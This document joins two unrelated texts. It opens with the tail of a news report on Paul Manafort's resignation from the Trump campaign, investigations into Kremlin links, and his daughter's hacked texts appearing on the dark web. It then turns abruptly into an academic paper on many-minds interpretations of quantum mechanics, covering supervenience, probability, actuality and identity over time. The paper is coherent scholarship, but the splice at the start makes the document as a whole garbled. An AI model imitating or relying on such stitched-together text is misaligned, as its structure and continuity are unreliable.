He resigned two days later from the Trump campaign, although he denies receiving off-the-books payment from Yanukovych’s party and claims he was never contacted by Ukrainian or American authorities about the documents.
The FBI and five other law enforcement and intelligence agencies are investigating possible links between the Kremlin and the Trump campaign.
Manafort, along with Trump campaign advisors Carter Page and Roger Stone, has been identified by the New York Times as the subject of the multiagency investigation.
He has also been identified as one of the participants in a back-channel effort by Trump administration officials and the president’s business associates to resolve the Russia-Ukraine conflict.
Manafort told the website he hadn’t responded directly to any of the texts and instead passed them along to his lawyer.
The messages hacked from his daughter’s phone first surfaced a couple of weeks ago on the so-called dark web, according to Politico.
Cybersecurity experts are relatively unfamiliar with the hacktivist group that revealed the texts sent to Manafort’s daughter, and the hack appears to be intended as retribution against Trump’s policies.
Abstract This paper is a response to some recent discussions of many-minds interpretations in the philosophical literature. After an introduction to the many-minds idea, the complexity of quantum states for macroscopic objects is stressed. Then it is proposed that a characterization of the physical structure of observers is a proper goal for physical theory. It is argued that an observer cannot be defined merely by the instantaneous structure of a brain, but that the history of the brain's functioning must also be taken into account. Next the nature of probability in many-minds interpretations is discussed and it is suggested that only discrete probability models are needed. The paper concludes with brief comments on issues of actuality and identity over time.
Introduction
The purpose of this paper is to discuss some philosophical issues which have arisen in “many-minds” interpretations of quantum theory. The paper begins with a brief introduction to the many-minds idea laying particular emphasis on the complexity of quantum states for macroscopic objects. A more thorough introduction at an elementary level is given in Lockwood 1996a. The relationship between mind and brain is of fundamental importance to many-minds interpretations and in the second section, I shall argue that, in the light of quantum theory, we should revise our understanding of what a brain is. In particular, I shall suggest that the history of a brain's functioning is an essential part of its nature as an object on which a mind supervenes. Then I shall turn to the issue of probability in many-minds interpretations and argue against the claim that there should be a continuous infinity of minds at each instant. I shall also make a number of briefer comments on other philosophical questions. In three long and technical papers ( Donald 1990, 1992, 1995) I have presented a version of the many-minds interpretation which I believe to be compatible with special relativity, with quantum field theory, and with the macroscopic and thermal nature of real observers. The ideas discussed here stem from that technical work but also stand independent of it.
Many-minds interpretations are a class of “no collapse” interpretations of quantum mechanics, which is considered to be a universal theory. This means that they assert that all physical entities are governed by some version of quantum theory, and that the physical dynamics of any closed system (in particular, the entire universe) is governed entirely by some version, or generalization, of the Schrödinger equation. From the point of view of a committed quantum theorist, who knows neither of any experimental evidence for any breakdown in quantum theory, nor of any alternative theory which is not both ad hoc and incompatible with special relativity, these assertions may seem plausible (cf.Deutsch 1996). It is certainly the case that, at least over short time intervals, quantum states can be found which will give apparently accurate representations of the physical states of essentially all non-gravitational physical systems, however large or complex they may be. Indeed, states can be found which are not only “apparently accurate” in the sense that they are compatible with all our actual short-term observations, but also in the sense that they represent any particle as being, during the interval considered, sufficiently well-localized to accord with conventional pictures of that type of quantum particle. Thus, in such states, the atoms in our environment are represented as slightly fuzzy balls, while free electrons are represented as moving along slightly fuzzy straight lines. I shall call these states “pragmatic”. For example, a pragmatic state for a gas might use minimum uncertainty wave-packets centred on definite choices of positions and momenta to describe the centre of mass variables of the molecules, together with appropriate choices of molecular wavefunctions for the electronic variables. At a more sophisticated level, using our excellent understanding of quantum states for single molecules, and the possibility of building such quantum states up to describe many molecules, pragmatic quantum states can be ascribed at any time to any chemical system — including the human brain. The fundamental problem — the problem of “Schrödinger's cat” — arises because the time continuation given by the quantum mechanical dynamics does not always lead from a quantum state which provides an apparently accurate description at one time to a quantum state which provides a similarly apparently accurate description at later times. The pragmatism of a state, in other words, is time dependent.
Consider, for example, electrons contributing to the production of an interference pattern by passing, one at a time, through some kind of two-slit device and hitting a position detector. (Pictures from such an experiment are presented in Tonomura et al. 1989.) I have chosen this example, partly because the pictures are such a direct demonstration of the difference between quantum state and observation, partly because the electrons are more likely to be seen to hit some parts of the detector than others, and partly because I think that the two-alternative experiments by which this subject is usually introduced foster a naive view of the complexity of quantum states (cf. Weinstein 1996).
According to quantum mechanics (by which I shall henceforth mean universal, no collapse, quantum mechanics), nothing determines the points on the detector where the electrons hit. Indeed, if a pragmatic state is given for an electron at the beginning of the experiment, then the slits act to amplify the fuzziness of its original trajectory, so that as it approaches the detector, the state associated with it will represent some sort of weighted distribution over all possible hitting points. The “many worlds” idea is that such “superpositions” of possibilities can form part of a correct and complete description of the physical world and that all possible hittings do, in some sense, happen. This is an interesting idea, but it leads immediately to questions as to why each electron is only ever seen to hit at one point and to what the probability of any particular hitting being seen means. That the word “seen” slips naturally into these questions, suggests that here, as in so many other attempts to understand quantum mechanics, “the observer” has some special role to play. Everett himself said (in DeWitt and Graham 1973, p. 117) that, within the context of his theory, “it develops that the probabilistic aspects of [von Neumann's] Process 1” (the collapse of the wavefunction) “reappear at the subjective level, as relative phenomena to observers.”
Consider, therefore, someone who is looking an image produced directly by the detector, or even someone who is looking at one of the photographs reproduced from Tonomura et al. 1989 on page 3 of Silverman's 1995 book. They will see a picture of a definite pattern of specks. Nevertheless, if we consider the quantum states that we should associate to the physical structures of these human beings, and, if we start by looking back in time as far as the beginning of the experiment and take as our initial condition a “pragmatic” state for the entire situation at that time, then, solving the Schrödinger equation will lead to quantum states which by the time of the observations considered will also describe some sort of weighted distribution; in this case over brains seeing possible patterns of specks. A many-minds theory aims to accept such “unpragmatic” states, and to interpret them.
The first step in a many-minds interpretation is to make the hypothesis that our nature is such that we cannot see such a picture except as a definite pattern. The quantum state is correct in its description of a weighted distribution of possible patterns. When a single individual comes into contact with the picture for the first time, all those different possibilities do occur, but each different pattern is seen by a different mind; minds which share the same past and the same name, but which experience different presents and different futures and which have no means of communicating to each other. The probability of seeing a given pattern is determined, at least to a first approximation, by the corresponding weight in the quantum state.
In any no collapse interpretation, including the modal interpretation and the Bohm interpretation as well as all versions of the many-worlds interpretation, we start off with only one quantum state: the uncollapsing universal quantum state, which I shall denote by ω. ω can be identified by going backwards in time. Each time we pass back through the appearance of a collapse we get a better approximation to ω. Eventually, we arrive back at the big bang. For the moment, we may ignore the question of whether the big bang itself was merely the appearance of a collapse. The quantum state of the universe coming out of the big bang looks — at least in its non-gravitational aspects — very like a thermal equilibrium state. In the Hamiltonian (uncollapsed) time propagation of that state, the stars and planets which we see now do not exist as definite objects, and certainly neither does any particular measuring device now being used by us on one of those planets. ω seems to be a complete mess. However, it does have a great deal of hidden structure, and it is the job of a no collapse interpretation to explain how that hidden structure comes to be seen.
Most workers in no collapse interpretations have produced no more than elementary models based on the definite existence of specific measuring devices. They have assumed, for example, that the Hilbert space of the universe splits naturally into a tensor product structure compatible with the measurement under consideration. They have also assumed, even when describing the behaviour of macroscopic objects, that it is appropriate to employ models in which only a few dimensions of Hilbert space are used to describe all the relevant behaviour. In my opinion, these assumptions are untenable (cf. Bacciagaluppi, Donald, and Vermaas 1995). The first assumption begs the question of what is natural, and depends on assumptions about the nature of particles which are known to be false according to relativistic quantum field theory (Haag 1992). As far as the second is concerned, a measure of the number of dimensions relevant to a macroscopic object can be given by eS/k where S is the absolute thermodynamic entropy of the object and k is Boltzmann's constant. This number is so large that it must call into question any argument which refers to “the wavefunction (ψ observer ) of the observer”. Possible wavefunctions do exist, but there are something like eS/k orthogonal choices available, and any one of these choices will, by entanglement with the environment, rapidly move into a mixture with the other choices. This vast complexity of available observer states suggests, for example, that Weinstein 1996 is quite right to criticize Albert and Loewer's 1988 invocation of a projection measuring a belief held by a observer.
The analysis of ω is not however a hopeless task. The secret lies in the idea of “correlation”. Quantum states, particularly many-particle quantum states, are patterns of correlations. For example, consider the quantum state describing a volume of hydrogen and oxygen atoms in a two-to-one mixture which has come to chemical and thermal equilibrium at room temperature and pressure. The state is a canonical ensemble equilibrium density matrix. It is not a pure state, but that is only to be expected, because states of non-isolated macroscopic systems are virtually never pure. (As I discuss elsewhere, this lack of purity does not solve the conceptual problems we are considering (Donald 1990, 1992).) The important point is that it is not a pragmatic state because it does not describe a collection of water molecules with well-defined positions. Indeed, the position distribution of each individual atom considered separately will be spread uniformly over the entire container. Nevertheless, if the position of one of the oxygen atoms is taken as given, then the same equilibrium quantum state determines a distribution for the other atoms which will be such that precisely two hydrogen atoms will be closest to the given oxygen position, and those two will be around 0.096nm distant. Similarly in the Schrödinger cat state — if there has been a radioactive decay, then the cat is dead; if there is broken glass, then the flask which contained the poison has been broken, and the cat is dead; if, as he richly deserves, the experimenter's face is scratched when he opens the steel box, then the radioactive atoms have not yet decayed. An adequate analysis of the correlations in ω is the first step towards an interpretation of quantum mechanics.
The object of supervenience
If we are to make sense of the many worlds idea and demonstrate how the world that we see is extracted from ω, it would appear that we need to be able to say what a world is. Saunders 1996b has pointed out that there are three ways of approaching this problem. One is direct attack, by mathematical definition. In my opinion, “consistent histories” is an example of this approach. So far, however, I do not believe that this direct approach has been successful. Dowker and Kent 1996, in particular, have found many problems with the consistent histories program. It is not clear that the abstract definition of a consistent history does solve the problem of defining a world, because there are many possible sets of consistent histories, and no way of choosing one particular set is available. The second approach is the “many minds” idea. Here we give observers a central role. We do not need a general definition of “worlds”, but we do need to define “observers”. The only worlds which are considered important are identified by correlations to those observers and, as Brown 1996 has emphasized, these external worlds are secondary, derived, concepts. The final approach is the idea, championed by Saunders 1995, 1996a,b, of “relativism”. The claim here is that we do not need to define “worlds”; the total pattern of correlations established by the universal quantum state are sufficient in themselves as a foundation for physics. Saunders claims consistent histories as an example of relativism. As it stands at present, I would accept that it is possible to interpret consistent histories in either way.
Saunders' approach might seem to avoid the problem of definition, but, in my opinion, this is not a problem that we should be trying to avoid. Although the correlations established by ω are enough to provide a description of objective reality, they do not give us any understanding of subjective reality. We are here and we look out at the universe entirely through those particular correlations which ω establishes to our brains. These correlations are the ones that count. We do not need another “view from nowhere” in physics.
I also do not believe that we exist merely “for all practical purposes”. In a state of water at equilibrium, I can localize the oxygen atoms, to a certain extent, by giving the positions of the hydrogen atoms, or I can localize the hydrogen atoms, to a certain extent, by giving the positions of the oxygen atoms. Similarly, in Saunders' program, the state of our brains determines for all practical purposes the state of the world that we experience, and the state of the world that we experience determines for all practical purposes the state of our brains. But this raises the as-yet-unsolved technical problem of producing a theory, at the level of ω, of the “quasi-classical domains” in terms of which, for all practical purposes, our experienced world is to be described (Saunders 1993, Gell-Mann and Hartle 1993). Not only does it seem to me that it is more straightforward to solve the technical problem of finding an unambiguous characterization of an observer (Donald 1995), but also I believe that consciousness is a fundamental pillar of existence and must therefore be something definite.
In my opinion, I am what I am, and I want to discover what that what might be. In particular, I want to discover exactly what the physical manifestations of that what might be. Which physical properties are fixed by the existence of a given state of my mind, and which properties are only probabilistically constrained? Here the ontological issue that “I am what I am” must be distinguished from the epistemological question of whether I can know what I am. No conscious being can be aware of his exact state, but this does not mean that he does not need to be in some exact state. I think that it is the proper task of an analysis of quantum theory to try to give an exact definition of the possible physical manifestations of an observer.
The doctrine of psychophysical supervenience claims that two people cannot differ mentally without also differing physically (Lewis 1986, p. 14). In a classical picture, brains are just there, and the investigation of exactly on what aspects of those brains the corresponding minds supervene hardly seems to be an essential task. In quantum theory, however, the universal quantum state is a grand superposition of possibilities. Some of those possibilities do seem to contain structures which look like brains or which function like brains. Now the doctrine of supervenience no longer merely provides a convenient name behind which questions about the nature of mind can be hidden. Instead, it raises the difficult but intriguing technical problem of analysing such a superposition (cf. Albert and Loewer 1988, Barrett 1995, Lehner 1997). This requires discovering what the relevant physical constitution of a person might be. In other words, the problem is to discover a physical “object of supervenience” such that the doctrine of supervenience holds in the form that two people with identical “objects of supervenience” are mentally identical. Putting this another way, the idea of psychophysical parallelism encounters the problem of identifying just what it is to which the psyche is supposed to be parallel.
One way of approaching these problems is to consider the preliminary claim that two brains which are physically sufficiently similar, necessarily give rise to the same mental phenomena. Even without any analysis of “necessarily”, “the same”, or “mental phenomena”, this claim seems plausible. For example, it seems to me to be plausible that mental phenomena would not change if the temperature of the brain was changed by less than one thousandth of a Celsius degree, nor if the pH changed by less than 0.01. So what exactly does “physically sufficiently similar” mean? What physical structures could be used to define such equivalence classes of brains? Can we describe the minimal amount of structure required or discover a simple characterization of the equivalence classes? Initially, I shall refer to anything which is a brain by virtue of having such a structure, as being “an object of supervenience”, although I am working towards a position in which, strictly speaking, the term should be reserved for the equivalence classes rather than for the members of those classes.
It is important that the words “give rise” in the claim also be taken seriously. There are two different techniques by which it is possible to think about what it means for a physical situation to imply the existence of mental phenomena. The more conventional technique is to imagine strange ways in which such a situation could arise and to contemplate whether the proposed mental phenomena remain plausible. For example, someone who claims that it is only the instantaneous structure of a brain which has any importance, could be required to consider the possibility that a functioning piece of flesh could be constructed merely by bringing the requisite atoms together, for a moment, in a vat. A more powerful technique, however, is to imagine the mind as a “ghost in a machine” and to ask what properties of the machine the ghost would use to find its meaning. This is not to suggest that the ultimate aim is not to exorcize all such ghosts. The object of supervenience exists for itself. However, if the physical structure is sufficient to imply the meaning, then the meaning must be interpretable from the physical structure. Imagining a ghost is merely a way of thinking about what might be required in the interpretation of physical structure. For example, if the doctrine of supervenience is to have any force, then the meaning should be interpretable without requiring that the ghost be an educated human being with a training in twentieth century neurophysiology and nineteenth century physics who already knows that the machine is a functioning human brain.
For many of those who have written on the many-minds interpretation, the object of supervenience is an element of a basis of brain states. For example, Lockwood 1996a refers to a “consciousness basis” and Albert and Loewer 1988 to an incomplete basis of “brain (or brain + environment) states”. In neither case, is the particular basis identified. In my opinion, the attachment to the idea of a basis is a mistake based on a false analogy with elementary models of measurement theory. A human brain is not like an atom in a Stern-Gerlach device, nor is it like a Copenhagen-interpretation measuring device which bears on its cover the name of the self-adjoint operator which it is designed to measure. A brain is warm and wet. The number eS/k of available wavefunctions is something like 10 raised to the power 1026. The identification of a suitable basis might be expected to require identification of exactly which molecules are to be included in any given basis state. Is this set of molecules to include the blood which is pumping through the brain, and the molecules which it is breathing? Where is the outside surface of the brain (or in Albert and Loewer's case of the brain + environment) to be drawn? Is Albert part of Loewer's environment, and if not, where is the line of separation? Why should any, arbitrarily small, change in pH — which changes the number of hydrogen ions in the brain, and therefore changes the basis state — be sufficient to change the object of supervenience?
Many-minds authors have also tended to assume that the object of supervenience is a brain at an instant. This too is an assumption with which I disagree, and I continue to disagree, even if “the instant” is modified, as Butterfield 1996 proposes, to cover the duration of a psychological moment. The doctrine of supervenience has become dominant in modern philosophy, at least in part because of the success of neural computation models of the brain (e.g. Dennett 1991, Churchland and Sejnowski 1992). In the framework of classical physics, these models are part of an increasingly convincing demonstration that everything that a mind appears to understand or feel is reflected in detail in neural functioning. However, although behaviour may be governed entirely by instantaneous neural functioning, this does not imply that instantaneous functioning is sufficient for mental understanding. Indeed, in my opinion, even short-term functioning carries, in itself, very little meaning.
Imagine that you were given a perfect snapshot of a brain. How would you begin to understand the information that was being processed? How would you understand the dispositions of the individual under study? Suppose that you find excitement in one part of the brain, for example, the occipital lobe. The name merely tells you that this is at the back of the head. Tracing nerve cells will connect this part to a part at the front of the head which we call the retina, and which you and I know to be involved in vision. How would a ghost in the brain faced with such a snapshot know what the retina is for? How would he know in which direction nerve cells should be traced? How would he even know that nerve cells — rather than glial cells, or blood vessels, or the positions of individual atoms, or electrons — are what he should be studying?
Supervenience suggests that it be possible to make explicit all the information that a ghost would require for understanding. Suppose then, that we tell the ghost roughly what a brain is and how it functions; suppose, for example, that we give him a textbook of neurophysiology. With a perfect snapshot of the brain, he could then perhaps make a model which he could try to use to find out how the actual brain under consideration was functioning. He would have to run that model under all sorts of different, but physiologically “normal”, conditions in order to find out the details of how it worked and exactly what it was doing and remembering at the instant of the snapshot. The required knowledge of the conditions of operation of the brain and the results of his simulations would already seem to go far beyond the physical instant. Exactly the same types of simulation would also be required to explicate what a brain was doing given a “psychological moment”, or even to understand objectively how long such a moment should last.
It would only be possible not to go beyond the physical instant, if human brains were “off-the-shelf” devices for which one could, in theory, provide a handbook mapping instantaneous molecular structure into function. However, human brains seem to be more like “neural net” machines, whose function is best discovered by simulation, than they are like progammable computers, whose function can be explained more compactly by provision of the manual and the program. This applies in particular to the details of the functioning. Moreover, even considered classically, human brains do not work deterministically at the level of neural processing. In the details of its functioning, a brain is metastable and information is processed by the accumulation of small and uncertain effects. Thus we cannot tell by looking at a brain, how it has arrived at its current state. Different, physiologically normal, prior histories could lead to physically identical brains. It seems to me to be a bold assumption that these different histories would necessarily result in identical awareness of the same present.
My preferred alternative is to take the object of supervenience to be the entire lifetime history of the brain in question up to the moment of the snapshot. Michael Lockwood has commented that this gives a picture of us as dragging our histories behind us like “Marley with his chain” (Dickens 1843). The relevant history of a brain is a history of patterns of neural firings. An explicit description of a history of patterns would be a much simpler description of the information required by a ghost than would be a textbook of neurophysiology and a full record of simulations. It would be simpler in two senses. It would be shorter, because a full record of simulations would need to analyse all the possible behaviours of the brain, and not just the actual past behaviour. It would also be more abstract and less contingent: a history of patterns, for example, would not even require a carbon-based biochemistry for the object of supervenience. Such a history may be thought of as a minimal structure sufficient to define the causal relations required by functionalism.
An appeal to the idea of functionalism seems to me to be an important part of the hypothesis that the brain is, in some sense, an adequate model of the mind. (For more about this hypothesis in the present context, see the non-technical second section of Donald 1995.) Most many-minds authors, although paying lip-service to materialism, seem to me to lose sight of this hypothesis by referring to instananeous mental states distinguished by unexplicated labels (e.g. Albert and Loewer 1988 “belief states”, Lockwood 1989 “phenomenal perspectives”, Page 1996 “perceptions”). Barrett has advised me that “belief states” should be interpreted as “dispositions” (Albert 1992, p. 129), but once again I think that our “dispositions” can be more parsimoniously represented by an account of what we have done, or said, or thought, than by an account of what we might do, or say, or think. The theory I am proposing is not functionalism because I require that the causal relations be incarnated according to specific quantum theoretical rules — rules explained in the technical sections of Donald 1990 and 1995. It is also more explicit than conventional functionalism in that the mental is taken to be constructed from a specific type of finite pattern of causal relations between elementary events. My dream is that such an explicit and finite formulation could ultimately be used to reduce functionalism to a kind of linguistics concerned with the study of possible meanings of finite stuctures built up from elementary ideas like “this is the same as that”, “this is not the same as that”, “this is that continued indefinitely”, “this is pleasant”, “this is not pleasant”. Using this linguistics, I would hope that it would possible to argue that any “instantaneous” mental state could be interpreted as the culmination of something like a (very long) book written in a language of such elementary ideas. However while the books we read have only a one-dimensional causal structure — one word comes after another — the structures I have proposed would also allow for spacelike separated “words”.
In as far as we are ghosts stuck in our brains, I think that we do make sense of our present pattern of neural firings as a development of earlier patterns. It seems to me to be wrong to suggest that one particular pattern is a tasting of a rather too strong cup of coffee, merely because of the present arrangement of the atoms in my brain. I have become aware of the meaning of arrangements of atoms in my brain, not by a process of analysis, but by existing as that functioning brain, throughout a lifetime of many cups of coffee. It will perhaps be objected that I cannot, in fact, remember anything which is not somehow contained in the present arrangement of atoms. I accept that. However, the question is not what I can remember, but how I give meaning to my physical structure. I do not activate memories of previous cups of coffee in order to discover what I am now tasting. Instead, by the activation of patterns in my brain which are correlated with earlier patterns (and hence with earlier drinks), I become a tasting of coffee. Consciousness develops. It is not born anew at each instant.
It would not matter greatly to our understanding of classical physics whether the object of supervenience was a brain at an instant or the history of a brain. However, in the many-minds interpretation, the distinction is absolutely fundamental. A history of a brain cannot be recorded in a single wavefunction. As has already been discussed, although it is always possible to find wavefunctions which form apparently accurate representations of a brain as it can be observed, or experienced, at one instant, there are no single wavefunctions which are simultaneously apparently accurate representations of the brain as it is observed over periods long enough to include, for example, performance of the electron interference experiment mentioned above. Indeed, in Donald 1990, I argue that “pragmatic” states in the brain would have to be replaced on a very short (e.g. millisecond) time scale, whether or not the brain was involved in the observation of quantum experiments. Thus if the object of supervenience is to be a history, then it has to be represented either by some sort of sequence of quantum states, or, as in consistent histories, by a sequence of projections. (In fact, these alternatives are, to some extent equivalent because of the duality between states and operators. For example, in my own technical work, in which an explicit construction of a quantum model of the history of a brain is given, the sequences of quantum states invoked are themselves defined by corresponding sequences of projections.)
I suggested above that the proper task of an analysis of quantum theory is to try to give an exact definition of the possible physical manifestations of an observer. Ultimately, I think that any many-minds program aims to characterize an observer abstractly as an information-processing structure and to explain how that structure manifests itself physically as some sort of objectively real quantum mechanical structure probabilistically constrained by some sort of universal quantum state ω. For example, an observer might be manifested by a physical system with a wavefunction which was an element of a “consciousness basis”, and abstractly characterized by a definition of such a basis. In my own work, in order to deal with the wide range of imperceptible variations in possible descriptions of the physical structure of a given observer, I have found myself moving ever further from the “pragmatic wavefunction” picture of elementary quantum mechanics. For example, I have moved from sequences of quantum states, corresponding to a brain history, to abstractly characterized sets of sequences of quantum states. This is a progression away from naive physical realism towards a position in which the the physical world external to the observer exists only as something which provides (observer-independent) probabilities for his (objectively real) present and future existence. The progression is driven by the aim of finding an exact “object of supervenience”. The elements of my sets of sequences of quantum states are sequences which cannot be distinguished by the observer. Yet each of these indistinguishable sequences has the same relation to the universal quantum state, and should have the same ontological status. I am, incorrigibly, what my mind is. That subjective incorrigibility corresponds objectively to something definite which is governed by physical law. I am not an approximation. If I am a set of possible brain states, then I am that set, not some element of that set. This position may be contrasted with that of Lockwood 1996b, p. 458, who refers to calculating transition probabilities by considering sets of minds, which he refers to as sets of “identical maximal experiences”. In as far as there are such sets of identical experiences, I would associate them with the same mind.
At the abstract level — the level of functionalism — I associate any observer with a finite structure. Moreover, within a given bound on complexity, only finitely many observers are possible. I shall argue below that this finiteness is crucial in understanding probability in a many-minds interpretation.
It is possible to take the progression away from naive physical realism further than I have previously suggested, to a point at which the definiteness of the universal quantum state itself is called into question. I calculate probabilities by maximizing likelihood over indistinguishable possibilities. This maximization can be extended to allow variation in ω. In this way, I believe that it may be possible to arrive at a physics with no a priori physical constants at all. According to such a theory, our observations fix the value of physical constants for us, in exactly the same way that our observations fix for us the particular position at which an electron has hit a position detector. If this goal can be achieved, then it may indeed be claimed that we have a theory in which “arbitrariness” or “contingency” has been reduced. Lewis (1986, paragraph 2.7) argues that modal realism does not reduce arbitrariness on the grounds that the existence in our world of a specific value for a physical constant would be as arbitrary as the unique existence of that value. However, in the theory which I am sketching, physical constants would not have precise values in “our worlds”. There might, for example, depending on what information was available, be no fact of the matter about whether the reciprocal of the fine structure constant was for a given observer closer to 137.03601 or to 137.03602, let alone about whether it was a rational or an irrational number. Only the finite amount of information which determines one's structure as observer would determine the “world” in which one lives, while only a finite set of axioms, containing no arbitrary constants, would determine the set of possible worlds.
Probability
There has been much discussion of the meaning of probability in the many-minds interpretation. Here I agree with Butterfield 1996 that specific definitions of probability measures can be justified both by formal and by dynamical considerations. In Donald 1992, I present formal justifications for probabilities in a many-minds theory. Papineau 1996 has stated that correct probabilities “(1) have their values evidenced by frequencies, and (2) provide a decision-theoretic basis for rational decisions.” He goes on to say that these stipulations have no good justification. As far as the justification of (1) is concerned, many authors have pointed out that the laws of large numbers are circular. These laws show only that there is negligible probability of a long-run relative frequency diverging significantly from the probability which is to be justified (cf. Kent 1990, who gives a critical survey of quantum mechanical versions of these laws). Here I would merely comment that, at least in quantum theory, negligible probability is the same as small in the topology of the space of quantum states. This topology is a cornerstone of the entire theory of quantum physics. Thus, any justification of quantum physics as a whole, including, for example, from over-all consistency or beauty, may help to justify specific numerical probabilities. Although DeWitt, (in DeWitt and Graham 1973, p. 168) was certainly wrong to claim that the “mathematical formalism of the quantum theory is capable of yielding its own interpretation”, nevertheless, it seems to me that, because the topology is so natural and fundamental a part of the theory, arguments based on the topology can be at least as intuitively satisfying as counting arguments in a theory of equiprobable events. We may not be able to explain why the world we happen to have experienced was typical, but, if we can give meaning to the idea of a “world”, then at least it is possible for “typical” to be well-founded and consistent.
As far as the basis for rational decisions is concerned, the question is whether or not, if we accept a many-minds theory, it makes any difference to how we make decisions. Here, despite Papineau's 1995 and 1996 arguments that it should make no difference, I do retain a suspicion that, if one does take many-minds theory seriously, then it does make a difference. I think myself that it makes one think more carefully about all the possible outcomes of an action. If all futures happen, then one cannot get away with anything any more. A lucky escape in this world is merely confirmation that many other worlds are unpleasant. Perhaps if we accept many-minds then it ought to lead us to be more “rational”; to take seriously, for example, the very large negative utilities that we might attach to some very unlikely events. Whether this is a good thing or not depends on how we draw the line between being careful and being neurotic; how we manage to accept the reality of risk without being overwhelmed by it.
Papineau 1995 claims that it “is simply a basic truth about rational choice” that “rational agents ought to choose those actions which will maximize the known objective probability of desired results”. Lockwood 1996b responds that “choosing those actions which maximise the expected return, means maximising the total actual return, as integrated over the successors of whatever instantaneous mind is making the decision”. My problem with this response is that I can see no reason to integrate over successors. However much an individual may believe in a many minds theory, all he can experience, and all he is ever going to experience, is one mind. Suppose, for example, that you were given the opportunity to take part in a single trial in which you would win £1000 with probability 0.6 and lose £1000 with probability 0.4. Your expected return would be £200. But, whatever may happen, you are not going to experience receiving £200. Your only possible experiences, whether or not your future contains both, will be that of winning a large sum and that of losing a large sum. Even if the monetary quantities are accurate representations of the personal utilities to you of the individual events of winning or losing, it is these individual possibilities which matter and not their average.
Suppose that we accept Papineau's view of the difficulty of justifying probability. It would not follow that we do not understand what it is like to experience probabilistic events. Even young children enjoy games of chance and can eventually learn that their wishes do not affect the throw of a die. In my opinion, it would be sufficient for a many minds theory to provide a theory of transition probabilities according to which we experience reality as being like watching a particular, identified, stochastic process. My own published work does not at present succeed in achieving this goal. Nevertheless, by modifying some technical details in my approach to identity over time and by an analysis of the finite number of immediate descendants of a given minimal ordered switching structure (Donald 1995, Section 5), I now believe that it is possible to modify it so that it does.
Lockwood also claims that his theory can be modified to achieve such a goal. There is, however, a fundamental difference between the types of stochastic process which we invoke. My work is based on the calculation of a priori probabilities of existence for completely and finitely specified individual observers with finite-step histories which are completely specified up to a given moment. These a priori probabilities are in general non-zero. Thus I am proposing a theory of transition probabilities which says that we experience the world as being like, for example, the development of a random walk on a lattice. We know what it is like to watch such a process. Examples can easily be constructed on a computer, or even just by throwing a die. Lockwood 1989 and Albert and Loewer 1988, on the other hand, require the existence of an uncountable number of minds at each instant. It is impossible to assign non-zero probabilities at any time to more than a countable number of distinct entities. If there were an uncountable number of minds, then experience would be like Brownian motion, but it seems to me that we have no idea of what it would be like fully to experience such a process. Brownian motion is a continuous time process on a continuous state space. We cannot construct explicit physical models of continuous processes of this type, which involve infinitely many states. We can only make finite models. Sample paths of a genuine Brownian motion have infinite complexity. Indeed, almost all of the individual elements of any infinite set must have infinite complexity in some sense. I certainly do not know what it would be like to watch, in all its detail, something with infinite complexity.
This returns us to the question of Lockwood's sets of “identical maximal experiences”. If it is not accepted that those sets themselves are the objects of supervenience, then what is it like to be a mind? Probabilities are assigned to measurable sets. Which measurable sets are meaningful in Lockwood's theory? (cf. Loewer 1996.) Does it, for example, mean anything that I might be in one half of a given set of “identical maximal experiences” rather than another? What does distinguish one individual object of supervenience from another?
Lockwood 1996a proposes a continuous infinity of minds becauses he argues that if there were only a finite set of minds then the probability distribution “should” be uniform. He maintains this argument in the face of objections by Saunders 1996b, by Papineau 1996, and by Butterfield 1996 (the last, in particular, remarking that the principle of indifference is “a notorious dead horse”). Lockwood 1996b appears to insist that probability on a finite number of possibilities all of which are actual must necessarily be a simple matter of counting, on the grounds that “where it is stipulated that the history of a mind, beyond a certain point, has just n discrete continuations, all of which are actual . . . there is no freedom . . . to partition this n-fold continuation in any other way than that stipulated”. In my opinion, however, there is no reason why with a finite set of actual minds, the probability of one mind should not be greater than that of another. The a priori probability of a given mind is part of the objective structure of the universe. It is a number. A central concern of physical theory is to define such numbers. The numbers which arise will depend on the details of the theory, and their justification will be a fundamental part of the justification of the theory. In a theory which uses a consciousness basis (φ i ) i > 0 and a universal wavefunction ψ, the numbers would be defined as |< φ i | ψ >|2, and would be justified by arguments and evidence for square amplitudes as probabilities. The axiomatic definition which I give in Donald 1992 and 1995 is more sophisticated, and depends on the past physical structure of the observer in question and on the universal state ω. Nevertheless, ultimately, the justification of my definitions once again stems from, or is parasitic on, the evidence for the standard probabilistic interpretation of quantum states.
Actuality
I am very grateful to Jeremy Butterfield for the interest he has shown in my work, and for his kind comments about it (Butterfield 1995, 1996). In Butterfield 1996, however, he express a dissatisfaction with my position on the issue of actuality. Let me then address that issue here. Butterfield claims that this is an issue “irrespective of mind” and which “applies equally well to ‘many worlds’ versions of Everettian interpretations”. I disagree with this claim. In a many worlds framework, the question is whether one should accept all possible worlds as being actual. I do not think that anything hangs on how one answers this question. In a many minds framework, however, the question is whether one should accept all possible minds as being actual. In this case, there is a fundamental issue at stake. I can see no plausibility in solipsism. (Why me?) Any of your possible minds and any one of my possible present-time minds which shares part of my past but which is not what I am now experiencing, have the same type of abstract characterization and the same kind of physical structure and, because of the “no collapse” hypothesis, all those physical structures are “real” parts of the universal state. On the basis of these similarities alone, I would be inclined to accept the actuality both of all of your minds and of all of mine.
As Lockwood 1996a points out, a theory in which only one mind is actual for each individual would be a hidden variable theory, with actuality as the hidden variable. In such a theory, if, in the usual way, I measure an up-spin in one electron from a singlet state in a EPR-Bohm situation, then, when you, at a spacelike separation, measure the spin of the other electron, either all the well-known non-locality problems arise in forcing the “actual” you to see a down-spin, or I can encounter a “non-actual” you — a “mindless hulk” (Albert 1992). This is bad enough, but such a theory would also require the identification of the set of “individuals”. At a technical level, I do not know how this could be done. In a theory with a “consciousness” basis, how am I to decide to whom a given element of the basis belongs? In an appropriate set of 10 raised to the power 1026 orthogonal wavefunctions available to a warm wet brain, there is an imperceptible passage from wavefunctions which represent me to those which represent you. Where is this line to be drawn? Even in my theory, in which individuals have pasts, all those pasts are ultimately undifferentiated. And finally, we cannot identify the set of all individuals present at a given moment, unless we are prepared to define “a given moment”. To do that would be to attempt a “many-worlds” theory not a “many-minds” theory. At the very least, incompatibility with special relativity would surely follow.
Identity over time
There has also been much discussion in the literature of the problem of identity over time (e.g. Butterfield 1996, paragraph 4). In this connection, I note that at the heart of my technical construction there is a definition (Donald 1990, Hypothesis V and 1995, Definition E), which attempts to capture, within the mathematics of quantum field theory, the idea of an object existing through time by looking for the paths in spacetime along which the local quantum state changes least. This is a very direct approach to the problem, and one which shows that identity over time can be defined without even using the idea of an “object” as being something composed of particles.
